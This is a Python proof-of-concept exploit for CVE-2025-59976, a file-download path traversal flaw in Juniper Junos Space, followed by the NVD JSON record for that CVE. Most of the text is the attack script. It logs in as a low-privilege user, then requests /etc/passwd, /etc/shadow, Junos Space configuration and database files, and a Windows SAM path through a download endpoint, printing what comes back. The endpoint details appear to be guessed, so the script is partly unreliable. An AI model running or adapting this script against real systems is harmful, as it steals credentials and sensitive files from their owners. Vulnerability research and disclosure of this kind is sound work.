CVE-2025-59976

# CVE-2025-59976 - Juniper Junos Space Arbitrary File Download PoC # This PoC demonstrates the arbitrary file download vulnerability in Junos Space web interface # The vulnerability allows authenticated low-privileged users to access arbitrary files # beyond the normal file path restrictions enforced by the JBoss daemon. import requests from urllib.parse import quote # Target configuration TARGET_URL = "https://target-junos-space.example.com" USERNAME = "low_privilege_user" PASSWORD = "password123" # Files to attempt to download (sensitive files that should be restricted) TARGET_FILES = [ "/etc/passwd", "/etc/shadow", "/opt/juniper/space/conf/configuration.xml", "/opt/juniper/space/data/db.conf", "../../../etc/passwd", "..\\..\\..\\windows\\system32\\config\\SAM" ] def exploit(): session = requests.Session() # Step 1: Authenticate to Junos Space with low-privileged credentials login_url = f"{TARGET_URL}/api/juniper/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data, verify=False) print(f"[*] Login response status: {response.status_code}") if response.status_code != 200: print("[!] Authentication failed") return print("[+] Authentication successful") # Step 2: Exploit path traversal via crafted GET requests # The vulnerability is triggered by using specially crafted GET methods # to access files beyond the file path normally allowed by the JBoss daemon for target_file in TARGET_FILES: # Encode the path traversal sequence encoded_path = quote(target_file, safe='') download_url = f"{TARGET_URL}/api/juniper/download?file={encoded_path}" # Use crafted GET method to bypass path restrictions headers = { "Accept": "application/octet-stream", "X-Requested-With": "XMLHttpRequest" } response = session.get(download_url, headers=headers, verify=False) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Successfully accessed: {target_file}") print(f" Content preview: {response.content[:200]}") else: print(f"[-] Failed to access: {target_file} (Status: {response.status_code})") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-59976", "sourceIdentifier": "[email protected]", "published": "2025-10-09T16:15:47.487", "lastModified": "2026-01-23T19:45:09.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file download vulnerability in the web interface of Juniper Networks Junos Space allows a network-based authenticated attacker using a crafted GET method to access any file on the file system. Using specially crafted GET methods, an attacker can gain access to files beyond the file path normally allowed by the JBoss daemon. These files could contain sensitive information restricted from access by low-privileged users.This issue affects all versions of Junos Space before 24.1R3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:M/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-552"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.1", "matchCriteriaId": "2EC090A9-634B-4AA2-916F-7548AF71FF76"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r1:*:*:*:*:*:*", "matchCriteriaId": "0566970C-0E9B-4566-9920-C7C436A4243D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r2:*:*:*:*:*:*", "matchCriteriaId": "A2AA399D-5A7D-45B8-B774-D69054DFA4D3"}]}]}], "references": [{"url": "https://supportportal.juniper.net/JSA103170", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}